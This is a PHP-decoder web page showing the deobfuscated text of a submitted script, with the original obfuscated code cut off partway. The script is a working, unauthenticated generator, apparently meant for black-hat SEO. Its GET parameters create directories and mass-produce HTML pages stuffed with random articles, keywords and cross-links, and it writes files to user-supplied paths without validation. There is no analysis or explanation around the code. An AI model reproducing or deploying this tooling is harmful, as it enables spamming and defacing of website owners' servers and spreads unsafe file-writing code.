Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if($_GET['wenzhang']||$_GET['gengxin']){function suijiNum($h0,$i1=null){if(is_null($..

Decoded Output download

<?php if($_GET['wenzhang']||$_GET['gengxin']){function suijiNum($h0,$i1=null){if(is_null($i1)){$i1="123456789";}mt_srand(10000000*(double)microtime());for($r2=0,$c3='',$y4=strlen($i1)-1;$r2<$h0;$r2++){$c3.=$i1[mt_rand(0,$y4)];}return $c3;}function duqu($s5){$c3=file_get_contents($s5);$g6=explode("
",$c3);return $g6;}function getOneRandomArray($c7){$h0=count($c7)-1;$o8=mt_rand(0,$h0);return $c7[$o8];}function genRandomString($b9=8){$k10='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';$s11=strlen($k10);$e12='';for($r2=0;$r2<$b9;$r2++){$e12.=$k10[rand(0,$s11-1)];}return $e12;}$s5="txt";$g13=$_GET["houzhui"];if($g13==2){$g13='.shtml';}else{$g13='.html';}if($_GET['mulu']=='1'){$u14=$_GET["muluname"];if(!file_exists($u14)){mkdir($u14);}for($i15=1;$i15<=$_GET['wenzhang'];$i15++){$c7=duqu($s5."/wenzhang.txt");$r16=duqu($s5."/gjc.txt");$e17=duqu($s5."/bt.txt");$l18=duqu($s5."/fbt.txt");$f19=duqu($s5."/img.txt");$q20=duqu($s5."/link.txt");$g21=duqu($s5."/url.txt");$b22=duqu($s5."/mulu.txt");$f23=$s5."/article.txt";$q24=file_get_contents($f23);$v25=duqu($s5."/muluming.txt");if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=0;$r2<$m26;$r2++){$q24=preg_replace('/\$\$/',$v25[$r2],$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=0;$r2<$m26;$r2++){$q24=preg_replace('/\$\$/',"/".$v27[$r2]."/",$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',getOneRandomArray($c7),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',getOneRandomArray($r16),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$e28=getOneRandomArray($e17);$q24=preg_replace('/\$\$/',$e28,$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',$_SERVER['SERVER_NAME'],$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',getOneRandomArray($l18),$q24);}}if(strstr($q24,'$1$')){$m26=substr_count($q24,'$1$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$1\$/',$l18[$r2],$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',suijiNum(4),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',date("Y-m-d h:i:s",time()),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',date("Y-m-d",time()),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',mt_rand(0,100000),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',getOneRandomArray($q20),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',"<img src='".getOneRandomArray($f19)."'/>",$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$g29=getOneRandomArray($g21);$g29=explode("#",$g29);$q24=preg_replace('/\$\$/',"<a id='hVut' href='/".$g29[0]."' target=_blank>".$g29[1]."</a>",$q24,1);}}$n30=count($g21);$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$p31=$n30-$r2;$g6=explode("#",$g21[$p31]);$q24=preg_replace('/\$\$/',$g6[1],$q24,1);}$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$p31=$n30-$r2;$g6=explode("#",$g21[$p31]);$q24=preg_replace('/\$\$/',$g6[0],$q24,1);}if(strstr($q24,'$-')){preg_match_all('/\$-(\d)+\$/si',$q24,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$g21[$p31]);$q24=str_replace($t32[0][$a33],$g6[1],$q24);}}if(strstr($q24,'$-')){preg_match_all('/\$-(\d)+\$/si',$q24,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$g21[$p31]);$q24=str_replace($t32[0][$a33],$g6[0],$q24);}}$m35=$_GET["filenameType"];if($m35==3){$g21=$u14."/".genRandomString().$g13;}else{$g21=$u14."/".mt_rand(10000,99999999).$g13;}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',$g21,$q24,1);}}file_put_contents($g21,$q24);$i36=date('Y-m-d H:i:s');$o37="$i36 =>  <strong>$g21</strong> ||| $i15 <br>
";echo $o37;file_put_contents("createFileLog.txt",$o37,FILE_APPEND);}echo "<span style='font-weight:bold;color:green;'></span>";echo "<meta http-equiv=refresh content='3; url=".$_SERVER['PHP_SELF']."?gengxin=2'>";}if($_GET['mulu']=='2'){$v27=duqu($s5."/listm.txt");$a38=$_GET["folderType"];$j39=$_GET['mulushu'];for($y40=0;$y40<$j39;$y40++){if($a38==3){$k41=genRandomString(6);}else{$k41=suijiNum(6);}if(!file_exists($k41)){mkdir($k41);file_put_contents($s5."/mulu.txt",$k41."
",FILE_APPEND);if(isset($v27[$y40])){file_put_contents($s5."/muluming.txt",$k41."
",FILE_APPEND);}}for($i15=1;$i15<=$_GET['wenzhang'];$i15++){$c7=duqu($s5."/wenzhang.txt");$r16=duqu($s5."/gjc.txt");$e17=duqu($s5."/bt.txt");$l18=duqu($s5."/fbt.txt");$f19=duqu($s5."/img.txt");$q20=duqu($s5."/link.txt");$g21=duqu($s5."/url.txt");$b22=duqu($s5."/mulu.txt");$f23=$s5."/article.txt";$q24=file_get_contents($f23);$v25=duqu($s5."/muluming.txt");if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=0;$a42<$m26;$a42++){$q24=preg_replace('/\$\$/',$v25[$a42],$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=0;$a42<$m26;$a42++){$q24=preg_replace('/\$\$/',"/".$v27[$a42]."/",$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',getOneRandomArray($c7),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',getOneRandomArray($r16),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$e28=getOneRandomArray($e17);$q24=preg_replace('/\$\$/',$e28,$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',$_SERVER['SERVER_NAME'],$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',getOneRandomArray($l18),$q24);}}if(strstr($q24,'$1$')){$m26=substr_count($q24,'$1$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$1\$/',$l18[$a42],$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',suijiNum(4),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',date("Y-m-d h:i:s",time()),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',date("Y-m-d",time()),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',mt_rand(0,100000),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',getOneRandomArray($q20),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',"<img src='".getOneRandomArray($f19)."'/>",$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$g29=getOneRandomArray($g21);$g29=explode("#",$g29);$q24=preg_replace('/\$\$/',"<a id='hVut' href='/".$g29[0]."' target=_blank>".$g29[1]."</a>",$q24,1);}}$n30=count($g21);$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$p31=$n30-$a42;$g6=explode("#",$g21[$p31]);$q24=preg_replace('/\$\$/',$g6[1],$q24,1);}$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$p31=$n30-$a42;$g6=explode("#",$g21[$p31]);$q24=preg_replace('/\$\$/',$g6[0],$q24,1);}if(strstr($q24,'$-')){preg_match_all('/\$-(\d)+\$/si',$q24,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$g21[$p31]);$q24=str_replace($t32[0][$a33],$g6[1],$q24);}}if(strstr($q24,'$-')){preg_match_all('/\$-(\d)+\$/si',$q24,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$g21[$p31]);$q24=str_replace($t32[0][$a33],$g6[0],$q24);}}$m35=$_GET["filenameType"];if($m35==3){$g21=$k41."/".genRandomString().$g13;}else{$g21=$k41."/".mt_rand(10000,99999999).$g13;}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',$g21,$q24,1);}}file_put_contents($g21,$q24);$i36=date('Y-m-d H:i:s');$o37="$i36 =>   <strong>$g21</strong> ||| $i15 <br>
";echo $o37;file_put_contents("createFolderFileLog.txt",$o37,FILE_APPEND);}}echo "<span style='font-weight:bold;color:green;'></span>";}if($_GET['gengxin']=='1'){sleep(3);$v27=duqu($s5."/mulu.txt");$h0=count($v27);for($k43=0;$k43<$h0;$k43++){$f23=$s5."/list.txt";$j44=file_get_contents($f23);$g21=duqu($s5."/url.txt");$r45=count($g21);$o46=$v27[$k43];$f47=array(" ","","	","
","
");$a48=array("","","","","");$o46=str_replace($f47,$a48,$o46);for($g49=0;$g49<$r45;$g49++){$g6=explode("/",$g21[$g49]);if($g6[0]==$o46){$a50[]=$g21[$g49];}}$j51=0;$m26=substr_count($j44,'$$')+substr_count($j44,'$-');$n30=count($a50);$j51=ceil($n30/$m26);for($p52=0;$p52<$j51;$p52++){$f23=$s5."/list.txt";$w53=file_get_contents($f23);$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$p31=$n30-$r2;$g6=explode("#",$a50[$p31]);$w53=preg_replace('/\$\$/',$g6[1],$w53,1);}$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$p31=$n30-$r2;$g6=explode("#",$a50[$p31]);$w53=preg_replace('/\$\$/',$g6[0],$w53,1);}if(strstr($w53,'$-')){preg_match_all('/\$-(\d)+\$/si',$w53,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$a50[$p31]);$w53=str_replace($t32[0][$a33],$g6[1],$w53);}}if(strstr($w53,'$-')){preg_match_all('/\$-(\d)+\$/si',$w53,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$a50[$p31]);$w53=str_replace($t32[0][$a33],$g6[0],$w53);}}$t54=duqu($s5."/wenzhang.txt");if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=0;$r2<$m26;$r2++){$w53=preg_replace('/\$\$/',getOneRandomArray($t54),$w53,1);}}$v25=duqu($s5."/muluming.txt");if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=0;$r2<$m26;$r2++){$w53=preg_replace('/\$\$/',$v25[$k43],$w53);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=0;$r2<$m26;$r2++){$w53=preg_replace('/\$\$/',"/".$v27[$k43]."/",$w53);}}$q20=duqu($s5."/link.txt");if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',getOneRandomArray($q20),$w53,1);}}$f19=duqu($s5."/img.txt");if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',getOneRandomArray($f19),$w53,1);}}$b22=duqu($s5."/mulu.txt");if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',getOneRandomArray($b22),$w53,1);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',$_SERVER['SERVER_NAME'],$w53);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$k55=getOneRandomArray($g21);$g29=explode("#",$k55);$w53=preg_replace('/\$\$/',"<a id='hVut' href='/".$g29[0]."' target=_blank>".$g29[1]."</a>",$w53,1);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',suijiNum(4),$w53,1);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',date("Y-m-d h:i:s",time()),$w53,1);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',date("Y-m-d",time()),$w53,1);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',mt_rand(0,100000),$w53,1);}}if(strstr($w53,'$$')){$v56=ceil($n30/$m26);if($v56>5){$v56=5;}else{$v56=$j51;}for($r2=0;$r2<$v56;$r2++){if($r2==0){$b57="<a href=/$o46/index$g13></a>&nbsp;&nbsp;&nbsp;";}else{$b57.="<a href=/$o46/index_$r2$g13>$r2</a>&nbsp;&nbsp;&nbsp;";}}$w53=preg_replace('/\$\$/',$b57,$w53,1);}if($p52==0){$i58=$o46."/index$g13";}else if($p52<=5){$i58=$o46."/index_".$p52.$g13;}else{$i58="";}if(!empty($o46)){if(!file_exists($o46)){mkdir($o46,0755,true);}if(!empty($i58)){$b59=fopen($i58,"w");fwrite($b59,$w53);fclose($b59);}}}}echo "";echo "<meta http-equiv=refresh content='3; url=".$_SERVER['PHP_SELF']."?gengxin=2'>";}if($_GET['gengxin']=='2'){$s60=$s5."/index.txt";$s60=file_get_contents($s60);$v27=duqu($s5."/mulu.txt");if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=0;$r2<$m26;$r2++){$f47=array(" ","","	","
","
");$a48=array("","","","","");$o46=str_replace($f47,$a48,$v27[$r2]);$s60=preg_replace('/\$\$/',"/".$o46."/",$s60,1);}}$v25=duqu($s5."/muluming.txt");if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=0;$r2<$m26;$r2++){$s60=preg_replace('/\$\$/',$v25[$k43],$s60);}}$t54=duqu($s5."/wenzhang.txt");if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=0;$r2<$m26;$r2++){$s60=preg_replace('/\$\$/',getOneRandomArray($t54),$s60,1);}}if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',suijiNum(4),$s60,1);}}if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',$_SERVER['SERVER_NAME'],$s60,1);}}if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',date("Y-m-d h:i:s",time()),$s60,1);}}if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',date("Y-m-d",time()),$s60,1);}}$f19=duqu($s5."/img.txt");if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',"<img src='".getOneRandomArray($f19)."'/>",$s60,1);}}if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',mt_rand(0,100000),$s60,1);}}$k61=duqu($s5."/url.txt");$n30=count($k61);$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$p31=$n30-$r2;$g6=explode("#",$k61[$p31]);$s60=preg_replace('/\$\$/',$g6[1],$s60,1);}$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$p31=$n30-$r2;$g6=explode("#",$k61[$p31]);$s60=preg_replace('/\$\$/',$g6[0],$s60,1);}if(strstr($s60,'$-')){preg_match_all('/\$-(\d)+\$/si',$s60,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$k61[$p31]);$s60=str_replace($t32[0][$a33],$g6[1],$s60);}}if(strstr($s60,'$-')){preg_match_all('/\$-(\d)+\$/si',$s60,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$k61[$p31]);$s60=str_replace($t32[0][$a33],$g6[0],$s60);}}$q20=duqu($s5."/link.txt");if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',getOneRandomArray($q20),$s60,1);}}$b22=duqu($s5."/mulu.txt");if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',getOneRandomArray($b22),$s60,1);}}$i58="index$g13";$b59=fopen($i58,"w");fwrite($b59,$s60);fclose($b59);echo "";}}else{?> 
 
<html> 
<head> 
<meta charset="utf-8" /> 
<title></title> 
<style> 
    body { 
        font-family: Arial, sans-serif; 
        background-color: #f0f0f0; 
        margin: 0; 
        padding: 0; 
    } 
    form { 
        width: 50%; 
        margin: 50px auto; 
        padding: 20px; 
        background-color: #fff; 
        border-radius: 10px; 
        box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); 
    } 
    input[type="radio"], input[type="submit"] { 
        margin: 5px 0; 
    } 
    input[type="text"], input[type="number"] { 
        padding: 10px; 
        border: 1px solid #ccc; 
        border-radius: 5px; 
    } 
    input[type="submit"] { 
        background-color: #007bff; 
        color: #fff; 
        border: none; 
        border-radius: 5px; 
        padding: 10px 20px; 
        cursor: pointer; 
    } 
    .deleteButton { 
        background-color: #A34343; 
        color: #fff; 
        border: none; 
        border-radius: 5px; 
        padding: 10px 20px; 
        cursor: pointer; 
    } 
</style> 
</head> 
<body> 
    <form id="form1" name="form1" method="get" action=""> 
         
        <input type="radio" name="mulu" value="1" checked="checked" />  
        <input type="radio" name="mulu" value="2" /> <br><br> 
        <div id="customWjj"> 
            <span></span> 
            <input type="text" id="muluname" name="muluname" placeholder=" news"> 
        </div> 
        <br> 
        <div id="muluNum" style="display:none;"> 
            <input type="number" name="mulushu" id="mulushu" value="0" size="10" placeholder=""/><br><br> 
             
            <input type="radio" name="folderType" value="2" checked="checked" /> 
            <input type="radio" name="folderType" value="3" /><br><br> 
        </div> 
        <input type="number" name="wenzhang" id="wenzhang" value="30" size="10" placeholder=""/><br><br> 
         
        <input type="radio" name="filenameType" value="2" checked="checked" /> 
        <input type="radio" name="filenameType" value="3" /><br><br> 
         
        <input type="radio" name="houzhui" value="1" checked="checked" />html 
        <input type="radio" name="houzhui" value="2" />shtml <br><br> 
        <input type="submit" name="button" id="button" value="" /> 
        <a href="/delete.php" class="deleteButton" onclick="return confirm('?')"></a> 
    </form> 
<script> 
    var mulu = document.getElementsByName('mulu'); 
    var customWjj = document.getElementById('customWjj'); 
    var muluNum = document.getElementById('muluNum'); 
    var mulushu = document.getElementById('mulushu'); 
     
    mulu.forEach(function(radioButton){ 
        radioButton.addEventListener('click', function(){ 
            if (this.value == '2'){ 
                customWjj.style.display = 'none'; 
                muluNum.style.display = 'block'; 
                mulushu.value = "5"; 
            } else { 
                customWjj.style.display = 'block'; 
                muluNum.style.display = 'none'; 
                mulushu.value = "0"; 
            } 
        }); 
    }); 
     
    const form = document.getElementById('form1'); 
 
    form.addEventListener('submit', function(event) { 
        event.preventDefault();  
        var muluChecked = document.querySelector('input[name="mulu"]:checked').value; 
        var muluname = document.getElementById('muluname').value; 
     
        if (muluChecked == '1' && muluname == '') { 
            alert(""); 
            return false; 
        } 
        form.submit(); 
    }); 
</script> 
</body> 
</html> 
<? }?>

Did this file decode correctly?

Original Code

<?php if($_GET['wenzhang']||$_GET['gengxin']){function suijiNum($h0,$i1=null){if(is_null($i1)){$i1="123456789";}mt_srand(10000000*(double)microtime());for($r2=0,$c3='',$y4=strlen($i1)-1;$r2<$h0;$r2++){$c3.=$i1[mt_rand(0,$y4)];}return $c3;}function duqu($s5){$c3=file_get_contents($s5);$g6=explode("\n",$c3);return $g6;}function getOneRandomArray($c7){$h0=count($c7)-1;$o8=mt_rand(0,$h0);return $c7[$o8];}function genRandomString($b9=8){$k10='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';$s11=strlen($k10);$e12='';for($r2=0;$r2<$b9;$r2++){$e12.=$k10[rand(0,$s11-1)];}return $e12;}$s5="txt";$g13=$_GET["houzhui"];if($g13==2){$g13='.shtml';}else{$g13='.html';}if($_GET['mulu']=='1'){$u14=$_GET["muluname"];if(!file_exists($u14)){mkdir($u14);}for($i15=1;$i15<=$_GET['wenzhang'];$i15++){$c7=duqu($s5."/wenzhang.txt");$r16=duqu($s5."/gjc.txt");$e17=duqu($s5."/bt.txt");$l18=duqu($s5."/fbt.txt");$f19=duqu($s5."/img.txt");$q20=duqu($s5."/link.txt");$g21=duqu($s5."/url.txt");$b22=duqu($s5."/mulu.txt");$f23=$s5."/article.txt";$q24=file_get_contents($f23);$v25=duqu($s5."/muluming.txt");if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=0;$r2<$m26;$r2++){$q24=preg_replace('/\$\$/',$v25[$r2],$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=0;$r2<$m26;$r2++){$q24=preg_replace('/\$\$/',"/".$v27[$r2]."/",$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',getOneRandomArray($c7),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',getOneRandomArray($r16),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$e28=getOneRandomArray($e17);$q24=preg_replace('/\$\$/',$e28,$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',$_SERVER['SERVER_NAME'],$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',getOneRandomArray($l18),$q24);}}if(strstr($q24,'$1$')){$m26=substr_count($q24,'$1$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$1\$/',$l18[$r2],$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',suijiNum(4),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',date("Y-m-d h:i:s",time()),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',date("Y-m-d",time()),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',mt_rand(0,100000),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',getOneRandomArray($q20),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',"<img src='".getOneRandomArray($f19)."'/>",$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$g29=getOneRandomArray($g21);$g29=explode("#",$g29);$q24=preg_replace('/\$\$/',"<a id='hVut' href='/".$g29[0]."' target=_blank>".$g29[1]."</a>",$q24,1);}}$n30=count($g21);$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$p31=$n30-$r2;$g6=explode("#",$g21[$p31]);$q24=preg_replace('/\$\$/',$g6[1],$q24,1);}$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$p31=$n30-$r2;$g6=explode("#",$g21[$p31]);$q24=preg_replace('/\$\$/',$g6[0],$q24,1);}if(strstr($q24,'$-')){preg_match_all('/\$-(\d)+\$/si',$q24,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$g21[$p31]);$q24=str_replace($t32[0][$a33],$g6[1],$q24);}}if(strstr($q24,'$-')){preg_match_all('/\$-(\d)+\$/si',$q24,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$g21[$p31]);$q24=str_replace($t32[0][$a33],$g6[0],$q24);}}$m35=$_GET["filenameType"];if($m35==3){$g21=$u14."/".genRandomString().$g13;}else{$g21=$u14."/".mt_rand(10000,99999999).$g13;}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($r2=1;$r2<=$m26;$r2++){$q24=preg_replace('/\$\$/',$g21,$q24,1);}}file_put_contents($g21,$q24);$i36=date('Y-m-d H:i:s');$o37="$i36 =>  <strong>$g21</strong> ||| $i15 <br>\n";echo $o37;file_put_contents("createFileLog.txt",$o37,FILE_APPEND);}echo "<span style='font-weight:bold;color:green;'></span>";echo "<meta http-equiv=refresh content='3; url=".$_SERVER['PHP_SELF']."?gengxin=2'>";}if($_GET['mulu']=='2'){$v27=duqu($s5."/listm.txt");$a38=$_GET["folderType"];$j39=$_GET['mulushu'];for($y40=0;$y40<$j39;$y40++){if($a38==3){$k41=genRandomString(6);}else{$k41=suijiNum(6);}if(!file_exists($k41)){mkdir($k41);file_put_contents($s5."/mulu.txt",$k41."\n",FILE_APPEND);if(isset($v27[$y40])){file_put_contents($s5."/muluming.txt",$k41."\n",FILE_APPEND);}}for($i15=1;$i15<=$_GET['wenzhang'];$i15++){$c7=duqu($s5."/wenzhang.txt");$r16=duqu($s5."/gjc.txt");$e17=duqu($s5."/bt.txt");$l18=duqu($s5."/fbt.txt");$f19=duqu($s5."/img.txt");$q20=duqu($s5."/link.txt");$g21=duqu($s5."/url.txt");$b22=duqu($s5."/mulu.txt");$f23=$s5."/article.txt";$q24=file_get_contents($f23);$v25=duqu($s5."/muluming.txt");if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=0;$a42<$m26;$a42++){$q24=preg_replace('/\$\$/',$v25[$a42],$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=0;$a42<$m26;$a42++){$q24=preg_replace('/\$\$/',"/".$v27[$a42]."/",$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',getOneRandomArray($c7),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',getOneRandomArray($r16),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$e28=getOneRandomArray($e17);$q24=preg_replace('/\$\$/',$e28,$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',$_SERVER['SERVER_NAME'],$q24);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;